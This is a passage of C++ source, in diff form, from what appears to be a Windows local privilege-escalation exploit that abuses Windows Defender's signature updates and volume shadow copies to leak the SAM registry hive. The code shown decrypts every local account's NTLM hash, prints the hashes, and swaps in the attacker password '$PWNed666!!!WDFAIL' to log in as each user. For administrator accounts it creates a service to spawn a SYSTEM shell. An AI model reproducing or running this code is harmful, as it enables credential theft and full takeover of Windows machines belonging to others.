+ blob.hdr.reserved = 0; + blob.hdr.aiKeyAlg = CALG_DES; + blob.keySize = 8; + memmove(blob.bytes, key, 8); + HCRYPTKEY hcryptkey = NULL; + CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey); + + DWORD mode = CRYPT_MODE_ECB; + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + + DWORD retsz = ciphertextsz; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz); + + if (outsz) + *outsz = 8; + + //printf("GetLastError : %x\n", GetLastError()); + CryptReleaseContext(hprov, NULL); + return ciphertext2; + + /* + DWORD mode = CRYPT_MODE_ECB; + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + printf("GetLastError : %x\n", GetLastError()); + + DWORD retsz = enclen; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); + printf("GetLastError : %x\n", GetLastError()); + */ + /* + OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy"); + if (legacy == NULL) + { + printf("Failed to load Legacy provider\n"); + } + + EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); + + int fulllen = 0; + int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL); + + char* plaintext = (char*)malloc(ciphertextsz); + int _outsz = 0; + retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz); + int _outlen = 0; + retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen); + + if (outsz) + *outsz = _outsz; + + return plaintext; + */ +} + +char* DeriveDESKey(char data[7]) +{ + + + union keyderv { + struct { + char arr[8]; + }; + SIZE_T derv; + }; + keyderv ttv = { 0 }; + ZeroMemory(ttv.arr, sizeof(ttv.arr)); + memmove(ttv.arr, data, sizeof(data) - 1); + SIZE_T k = ttv.derv; + + + char* key = (char*)malloc(sizeof(data)); + + for (int i = 0; i < 8; i++) + { + int j = 7 - i; + int curr = (k >> (7 * j)) & 0x7F; + int b = curr; + b ^= b >> 4; + b ^= b >> 2; + b ^= b >> 1; + int keybyte = (curr << 1) ^ (b & 1) ^ 1; + key[i] = (char)keybyte; + } + return key; +} + +void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid) +{ + + union keydata { + struct { + char a; + char b; + char c; + char d; + }; + ULONG data; + }; + + keydata keycontent = { 0 }; + keycontent.data = rid; + char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a }; + char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d }; + + char* rkey1 = DeriveDESKey(key1); + char* rkey2 = DeriveDESKey(key2); + + + int plaintext1sz = 0; + int plaintext2sz = 0; + char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz); + if (!plaintext1) + return NULL; + char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz); + if (!plaintext2) + return NULL; + void* retval = malloc(plaintext1sz + plaintext2sz); + + memmove(retval, plaintext1, plaintext1sz); + memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz); + if (outsz) + *outsz = plaintext1sz + plaintext2sz; + return retval; +} + +void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid) +{ + int _outsz = 0; + void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz); + if (!dec) + return NULL; + int _hashoutsz = 0; + void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid); + if (outsz) + *outsz = _hashoutsz; + return _hash; +} + +unsigned char* HexToHexString(unsigned char* data, int size) +{ + unsigned char* retval = (unsigned char*)malloc(size * 2 + 1); + ZeroMemory(retval, size + 1); + for (int i = 0; i < size; i++) + { + sprintf((char*)&retval[i * 2], "%02x", data[i]); + } + + return retval; +} + + +char* CalculateNTLMHash(char* _input) +{ + + int pw_len = strlen(_input); + char* input = new char[pw_len * 2]; + for (int i = 0; i < pw_len; i++) + { + input[i * 2] = _input[i]; + input[i * 2 + 1] = '\0'; + } + + + unsigned int md_len = 0; + + HCRYPTPROV hprov = NULL; + + CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); + + HCRYPTHASH Hhash = NULL; + CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash); + + CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL); + + DWORD inputsz = sizeof(md_len); + CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); + unsigned char* md_value = (unsigned char*)malloc(md_len); + inputsz = md_len; + CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL); + + CryptDestroyHash(Hhash); + CryptReleaseContext(hprov, NULL); + /* + EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); + EVP_DigestInit_ex(mdctx, EVP_md4(), NULL); + EVP_DigestUpdate(mdctx, input, pw_len * 2); + EVP_DigestFinal_ex(mdctx, md_value, &md_len); + EVP_MD_CTX_free(mdctx); + */ + /* + printf("Digest is: "); + for (int i = 0; i < md_len; i++) + printf("%02x", md_value[i]); + printf("\n"); + */ + return (char*)md_value; + +} +bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL) +{ + + wchar_t libpath[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH); + + HMODULE hm = LoadLibrary(libpath); + if (!hm) + { + printf("Failed to load samlib.dll\n"); + return false; + } + NTSTATUS(WINAPI * _SamConnect) + (IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect"); + NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle"); + NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle) + = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain"); + NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser"); + NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser"); + + + if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser) + { + printf("Failed to import required functions from samlib.dll\n"); + return false; + } + + HANDLE hsrv = NULL; + NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false); + if (stat) + { + printf("Failed to connect to SAM, error : 0x%0.8X\n", stat); + return false; + } + //printf("Connected to local SAM.\n"); + LSA_OBJECT_ATTRIBUTES loa = { 0 }; + LSA_HANDLE hlsa = NULL; + stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa); + if (stat) + { + printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat); + return false; + } + + POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0; + stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo); + if (stat) + { + printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat); + return false; + } + /*wchar_t* stringsid = 0; + if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid)) + { + printf("Failed to get string sid, error : %d\n", GetLastError()); + return false; + } + printf("Machine SID : %ws\n", stringsid);*/ + LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0; + LSA_TRANSLATED_SID* lsatrans = 0; + LSA_UNICODE_STRING lsaunistr = { 0 }; + RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username); + stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans); + if (stat) + { + printf("LsaLookupNames failed, error : 0x%0.8X\n", stat); + return false; + } + LsaClose(hlsa); + + HANDLE hdomain = NULL; + stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain); + if (stat) + { + printf("SamOpenDomain failed, error : 0x%0.8X\n", stat); + return false; + } + + HANDLE huser = NULL; + stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser); + if (stat) + { + printf("SamOpenUser failed, error : 0x%0.8X\n", stat); + return false; + } + + //char password[] = "testp"; + //char* oldNTLM = CalculateNTLMHash((char*)"testp"); + char* oldNTLM = (char*)nthash; + char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword); + + char oldLm[16] = { 0 }; + char newLm[16] = { 0 }; + stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM); + + if (stat) + { + printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat); + return false; + } + _SamCloseHandle(huser); + _SamCloseHandle(hdomain); + _SamCloseHandle(hsrv); + /* + if (newpassword) { + printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword); + } + else { + printf("Info : user \"%ws\" password has been changed back to older password\n", username); + } + */ + return true; +} +////////////////////////////////////////////////////////////////////// +// SAM handling end +///////////////////////////////////////////////////////////////////// + + +////////////////////////////////////////////////////////////////////// +// Exploit shell spawn start +///////////////////////////////////////////////////////////////////// +BOOL SetPrivilege( + HANDLE hToken, // access token handle + LPCTSTR lpszPrivilege, // name of privilege to enable/disable + BOOL bEnablePrivilege // to enable or disable privilege +) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue( + NULL, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + &luid)) // receives LUID of privilege + { + printf("LookupPrivilegeValue error: %u\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if (bEnablePrivilege) + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + else + tp.Privileges[0].Attributes = 0; + + // Enable the privilege or disable all privileges. + + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + 0, + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { + printf("AdjustTokenPrivileges error: %u\n", GetLastError()); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) + + { + printf("The token does not have the specified privilege. \n"); + return FALSE; + } + + return TRUE; +} + + +bool DoSpawnShellAsAllUsers(HANDLE samfile) +{ + //SSL_library_init(); + //SSL_load_error_strings(); + char newpassword[] = "$PWNed666!!!WDFAIL"; + wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL"; + char* newNTLM = CalculateNTLMHash(newpassword); + bool isadmin = false; + char* retval = 0; + ORHKEY hSAMhive = NULL; + ORHKEY hSYSTEMhive = NULL; + DWORD err = OROpenHiveByHandle(samfile, &hSAMhive); + + bool systemshelllaunched = false; + if (err) + { + printf("OROpenHive failed with error : %d\n", err); + return false; + } + + unsigned char lsakey[16] = { 0 }; + + if (!GetLSASecretKey(lsakey)) + { + printf("Failed to dump LSA secret keys.\n"); + return false; + } + + + ORHKEY hkey = NULL; + err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey); + + DWORD valuesz = 0; + err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + char* samkey = (char*)malloc(valuesz); + err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + + ORCloseKey(hkey); + + /////////////////////////////////////////////////////////// + int passwordEncryptionKeysz = 0; + char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz); + + err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey); + if (err) + { + printf("OROpenKey failed with error : %d\n", err); + return false; + } + + + DWORD subkeys = NULL; + err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + if (err) + { + printf("ORQueryInfoKey failed with error : %d\n", err); + return false; + } + + + PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys); + int numofentries = 0; + for (int i = 0; i < subkeys; i++) + { + DWORD keynamesz = 0x100; + wchar_t keyname[0x100] = { 0 }; + err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL); + if (err) + { + printf("OREnumKey failed with error : %d\n", err); + return false; + } + if (_wcsicmp(keyname, L"users") == 0) + continue; + ORHKEY hkey2 = NULL; + err = OROpenKey(hkey, keyname, &hkey2); + if (err) + { + printf("OROpenKey failed with error : %d\n", err); + return false; + } + DWORD valuesz = 0; + err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz); + if (err == ERROR_FILE_NOT_FOUND) + continue; + if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc)); + ZeroMemory(SAMpwd, sizeof(PwdEnc)); + SAMpwd->sz = valuesz; + SAMpwd->buff = (char*)malloc(valuesz); + ZeroMemory(SAMpwd->buff, valuesz); + err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + SAMpwd->rid = wcstoul(keyname, NULL, 16); + + ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET]; + SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET]; + SAMpwd->usernamesz = *usernamesz; + + ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET]; + SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET]; + SAMpwd->LMHashLenght = *LMhashsz; + + ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET]; + SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET]; + SAMpwd->NTHashLenght = *NThashsz; + + pwdenclist[i] = SAMpwd; + numofentries++; + } + + + wchar_t currentusername[UNLEN + 1] = { 0 }; + DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t); + if (!GetUserName(currentusername, &usernamesz)) + { + printf("Failed to get current user name, error : %d", GetLastError()); + return false; + } + + + for (int i = 0; i < numofentries; i++) + { + PwdEnc* samentry = pwdenclist[i]; + int realNTLMHashsz = 0; + char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid); + char* stringntlm = 0; + char emptyrepresentation[] = "{NULL}"; + if (realNTLMHashsz) + { + stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz); + } + else + { + + stringntlm = emptyrepresentation; + } + wchar_t username[UNLEN + 1] = { 0 }; + if (samentry->usernamesz <= sizeof(username)) + { + memmove(username, samentry->username, samentry->usernamesz); + } + printf("******************************************\n"); + printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm); + if (realNTLMHash == NULL || realNTLMHashsz == 0) { + printf(" Skip : NULL NTLM.\n"); + continue; + } + if (_wcsicmp(username, currentusername) == 0) + { + printf(" Skip : Current User.\n"); + continue; + } + if (_wcsicmp(username, L"WDAGUtilityAccount") == 0) + { + printf(" Skip : WDAGUtilityAccount detected.\n"); + continue; + } + + retval = realNTLMHash; + + if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM)) + { + printf(" NewPasswordSet : OK.\n"); + + HANDLE htoken = NULL; + PSID logonsid = 0; + if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL)) + { + printf("LogonUserEx failed, error : %d\n", GetLastError()); + } + if (!systemshelllaunched) { + TOKEN_ELEVATION_TYPE tokentype; + DWORD retsz = 0; + if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz)) + { + printf("GetTokenInformation failed with error : %d\n", GetLastError()); + } + + if (tokentype == TokenElevationTypeLimited) + { + TOKEN_LINKED_TOKEN linkedtoken = { 0 }; + + + if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz)) + { + printf("GetTokenInformation failed with error : %d\n", GetLastError()); + } + + HANDLE hdup = linkedtoken.LinkedToken; + + DWORD sidsz = MAX_SID_SIZE; + PSID administratorssid = malloc(sidsz); + + if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz)) + { + printf("Failed to create well known sid, error : %d\n", GetLastError()); + } + + + + if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin)) + { + printf("CheckTokenMembership failed with error : %d\n", GetLastError()); + } + free(administratorssid); + + CloseHandle(hdup); + } + + if (isadmin) + { + + + + + printf(" IsAdmin : TRUE\n"); + HANDLE htoken2 = NULL; + if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL)) + { + printf("LogonUserEx failed, error : %d\n", GetLastError()); + } + //SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE); + const wchar_t sid_string[] = L"S-1-16-8192"; + TOKEN_MANDATORY_LABEL integrity; + PSID sid = NULL; + ConvertStringSidToSidW(sid_string, &sid); + ZeroMemory(&integrity, sizeof(integrity)); + integrity.Label.Attributes = SE_GROUP_INTEGRITY; + integrity.Label.Sid = sid; + if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) { + wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError()); + } + LocalFree(sid); + //CloseHandle(htoken2); + + ImpersonateLoggedOnUser(htoken2); + + + SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); + if (!hmgr) + { + printf("OpenSCManager failed with error : %d", GetLastError()); + } + + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + + wchar_t binpath[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH); + wchar_t servicecmd[MAX_PATH] = { 0 }; + DWORD currentsesid = 0; + ProcessIdToSessionId(GetCurrentProcessId(), ¤tsesid); + wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid); + + SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL); + if (!hsvc) + { + printf("CreateService Failed with error : %d\n", GetLastError()); + } + else { + printf(" SYSTEMShell : OK.\n"); + } + + StartService(hsvc, NULL, NULL); + Sleep(100); + DeleteService(hsvc); + CloseServiceHandle(hsvc); + CloseServiceHandle(hmgr); + RevertToSelf(); + CloseHandle(htoken2); + systemshelllaunched = true; + } + else { + printf(" IsAdmin : FALSE\n"); + } + + + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi)) + { + printf(" Shell : Error %d\n", GetLastError()); + } + else { + printf(" Shell : OK.\n"); + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + } + + if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash)) + { + printf(" PasswordRestore : Error %d\n", GetLastError()); + } + + else { + printf(" PasswordRestore : OK.\n"); + } + CloseHandle(htoken); + } + + // __debugbreak(); + + + + } + + ORCloseHive(hSAMhive); + printf("******************************************\n"); + free(newNTLM); + return true; + + + +} + +bool IsRunningAsLocalSystem() +{ + + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { + printf("OpenProcessToken failed, error : %d\n", GetLastError()); + return false; + } + TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER)); + DWORD retsz = 0; + bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz); + CloseHandle(htoken); + if (!res) + return false; + + return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); +} + +void LaunchConsoleInSessionId(DWORD sessionid) +{ + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken)) + return; + + SetPrivilege(htoken, SE_TCB_NAME, TRUE); + SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE); + SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE); + SetPrivilege(htoken, SE_DEBUG_NAME, TRUE); + + HANDLE hnewtoken = NULL; + bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); + CloseHandle(htoken); + if (!res) + return; + + res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); + if (!res) + { + CloseHandle(hnewtoken); + return; + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); + + CloseHandle(hnewtoken); + + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + return; + +} + + +////////////////////////////////////////////////////////////////////// +// Exploit shell spawn end +///////////////////////////////////////////////////////////////////// + +int wmain(int argc, wchar_t* argv[]) +{ + + + if (IsRunningAsLocalSystem()) + { + printf("Running as local system.\n"); + if (argc == 2) + { + DWORD sessionid = _wtoi(argv[1]); + if (sessionid) { + printf("Session id : %d\n", sessionid); + LaunchConsoleInSessionId(sessionid); + } + } + return 0; + } + + DWORD _sesid = 0; + ProcessIdToSessionId(GetCurrentProcessId(), &_sesid); + const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"} + /*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/ + }; + wchar_t fullvsspath[MAX_PATH] = { 0 }; + HANDLE hreleaseready = NULL; + wchar_t updtitle[0x200] = { 0 }; + wchar_t targetfile[MAX_PATH] = { 0 }; + wchar_t nttargetfile[MAX_PATH] = { 0 }; + HANDLE htransaction = NULL; + wchar_t* filestodel[100] = { 0 }; + HINTERNET hint = NULL; + HINTERNET hint2 = NULL; + char data[0x1000] = { 0 }; + DWORD index = 0; + DWORD sz = sizeof(data); + bool res2 = 0; + wchar_t filesz[50] = { 0 }; + LARGE_INTEGER li = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + wchar_t envstr[MAX_PATH] = { 0 }; + wchar_t mpampath[MAX_PATH] = { 0 }; + HANDLE hmpap = NULL; + void* exebuff = NULL; + DWORD readsz = 0; + HANDLE hmapping = NULL; + void* mappedbuff = NULL; + HRSRC hres = NULL; + DWORD ressz = NULL; + HGLOBAL cabbuff = NULL; + wchar_t cabpath[MAX_PATH] = { 0 }; + wchar_t updatepath[MAX_PATH] = { 0 }; + HANDLE hcab = NULL; + ERF erfstruct = { 0 }; + HFDI hcabctx = NULL; + char _updatepath[MAX_PATH] = { 0 }; + bool extractres = false; + char buff[0x1000] = { 0 }; + DWORD retbytes = 0; + DWORD tid = 0; + HANDLE hthread = NULL; + WDRPCWorkerThreadArgs threadargs = { 0 }; + HANDLE hcurrentthread = NULL; + HANDLE hdir = NULL; + wchar_t newdefupdatedirname[MAX_PATH] = { 0 }; + wchar_t updatelibpath[MAX_PATH] = { 0 }; + UNICODE_STRING unistrupdatelibpath = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hupdatefile = NULL; + UNICODE_STRING objlinkname = { 0 }; + UNICODE_STRING objlinktarget = { 0 }; + NTSTATUS ntstat = 0; + OVERLAPPED ovd = { 0 }; + DWORD transfersz = 0; + wchar_t newname[MAX_PATH] = { 0 }; + DWORD renstructsz = 0; + + size_t targetsz = 0; + size_t printnamesz = 0; + size_t pathbuffersz = 0; + size_t totalsz = 0; + REPARSE_DATA_BUFFER* rdb = 0; + DWORD cb = 0; + OVERLAPPED ov = { 0 }; + bool ret = false; + DWORD retsz = 0; + HANDLE hleakedfile = NULL; + HANDLE hobjlink = NULL; + LARGE_INTEGER _filesz = { 0 }; + OVERLAPPED ovd2 = { 0 }; + DWORD __readsz = 0; + void* leakedfilebuff = 0; + bool filelocked = false; + bool needcabcleanup = false; + bool dirmoved = false; + bool needupdatedircleanup = false; + UpdateFiles* UpdateFilesList = NULL; + UpdateFiles* UpdateFilesListCurrent = NULL; + bool isvssready = false; + bool criterr = false; + HANDLE hobjworkdir = NULL; + HANDLE hsymlink = NULL; + wchar_t objdirpath[MAX_PATH] = { 0 }; + try { + + printf("Checking for windows defender signature updates...\n"); + while (!CheckForWDUpdates(updtitle, &criterr)){ + + if (criterr) + goto cleanup; + printf("No updates found for windows defender. Recheking in 30 seconds...\n"); + Sleep(30000); + + } + printf("Found Update : \n%ws\n", updtitle); + + UpdateFilesList = GetUpdateFiles(); + if (!UpdateFilesList) + { + goto cleanup; + } + printf("Updates downloaded.\n"); + + + printf("Creating VSS copy...\n"); + hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!hreleaseready) + { + printf("Failed to create event error : %d\n", GetLastError()); + goto cleanup; + } + + + isvssready = TriggerWDForVS(hreleaseready, fullvsspath); + if (!isvssready) + goto cleanup; + + for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++) + { + ZeroMemory(objdirpath, sizeof(objdirpath)); + UpdateFilesListCurrent = UpdateFilesList; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + wcscpy(envstr, L"%TEMP%\\"); + wcscat(envstr, wuid2); + + { + + OBJECT_ATTRIBUTES ndirobjattr = { 0 }; + UNICODE_STRING objdirunistr = { 0 }; + + + wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2); + RtlInitUnicodeString(&objdirunistr, objdirpath); + InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL); + if (ntstat) + { + printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat); + goto cleanup; + } + } + + + ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH); + needupdatedircleanup = CreateDirectory(updatepath, NULL); + if (!needupdatedircleanup) + { + printf("Failed to create update directory, error : %d", GetLastError()); + goto cleanup; + } + printf("Created update directory %ws\n", updatepath); + + { + UNICODE_STRING _unisrc = { 0 }; + RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory"); 